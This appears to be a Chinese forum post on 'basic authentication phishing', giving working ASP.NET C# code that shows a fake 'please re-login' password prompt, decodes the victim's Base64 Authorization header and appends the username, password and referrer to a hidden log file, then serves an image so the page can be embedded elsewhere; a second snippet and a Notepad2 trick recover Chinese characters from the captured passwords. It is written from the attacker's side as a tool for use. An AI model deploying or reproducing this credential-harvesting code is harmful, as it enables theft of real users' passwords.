關(guān)于基礎(chǔ)驗(yàn)證釣魚中文亂碼的解決方法
最近基礎(chǔ)認(rèn)證釣魚很火,不過亂碼始終是個(gè)問題。經(jīng)測試后已實(shí)現(xiàn)的解決方法有兩種:
手動分析Request頭
如果客戶端接受了WWW-AuThenticate驗(yàn)證,則會在下一次連接中添加請求頭 Authorization,格式為:
[code]
Authorization: Basic Og==
[/code]
Basic代表應(yīng)用基礎(chǔ)模式驗(yàn)證,由服務(wù)端WWW-AuThenticate頭指定的驗(yàn)證模式指定。由于我們需要獲取密碼,所以這里一定為Basic。
之后以一個(gè)空格作為分隔符,其余的內(nèi)容為用戶名與密碼,加密方式為標(biāo)準(zhǔn)BASE64,格式為 用戶名:密碼。
(更多資料請參考rfc文檔。)
所以我們只需要判斷請求頭是否包含Authorization即可,如果沒有的話則輸出401返回頭要求輸入密碼。
一段簡單的C#代碼:
[code="csharp"] <%
string logpath=Server.MapPath("\\fuck.config");
string info="please re-login";
string imgpath=Server.MapPath("\\img.jpg");
if(Request.Headers["Authorization"]==null||Request.Headers["Authorization"].StartsWith("Basic Og==")){
Response.Status="401 Unauthorized";
Response.AddHeader("WWW-AuThenticate",string.Format("basic ,Realm=\"{0}\"",info));
}
else{
string referrer=(Request.UrlReferrer==null)?"":Request.UrlReferrer.ToString();
System.IO.File.AppendAllText(logpath,Encoding.Default.GetString(Convert.FromBase64String(Request.Headers["Authorization"].Remove(0,5).Trim()))+"|"+referrer+"\r\n");
if(System.IO.File.Exists(imgpath))Response.BinaryWrite(System.IO.File.ReadAllBytes(imgpath));
}
%> [/code]
#p#
將亂碼轉(zhuǎn)換回正常的字符
亂碼其實(shí)是西歐字符,在拓展ASCII中為0x7f-0xff,所以只需要轉(zhuǎn)換回去就行了。
不過要注意:直接轉(zhuǎn)換是不可能的。在中文操作系統(tǒng)中0x7f-0xff單個(gè)字節(jié)被認(rèn)為是無效字符,轉(zhuǎn)換后只能輸出0x3f(?)。同時(shí)如果想將亂碼保存到文件中,則必須使用unicode等格式保存,這時(shí)亂碼將變?yōu)閮勺止?jié),轉(zhuǎn)換更加繁瑣。
經(jīng)過嘗試可以使用以下C#代碼轉(zhuǎn)換,注意:必須在winform下編譯使用,webform下即使是相同的Unicode編碼也會轉(zhuǎn)換出不同的字節(jié)數(shù)組,從而導(dǎo)致無法轉(zhuǎn)換。
[code]
using System;
using System.Text;
using System.Windows.Forms;
using System.Collections.Generic;
public class Decript
{
public static void Main()
{
string s="D??μò???è?";
byte[] arrb = Encoding.Unicode.GetBytes(s);
List<byte> lb=new List<byte>();
foreach(byte b in arrb){if(b!=0)lb.Add(b);}
Console.WriteLine(Encoding.Default.GetString(lb.ToArray()));
}
}
[/code]
之后又找到更簡便的方法:用Notepad2建立一個(gè)unicode文檔,將亂碼粘貼進(jìn)去,之后在編碼選擇任意ISO開頭的編碼,保存后即轉(zhuǎn)換完畢。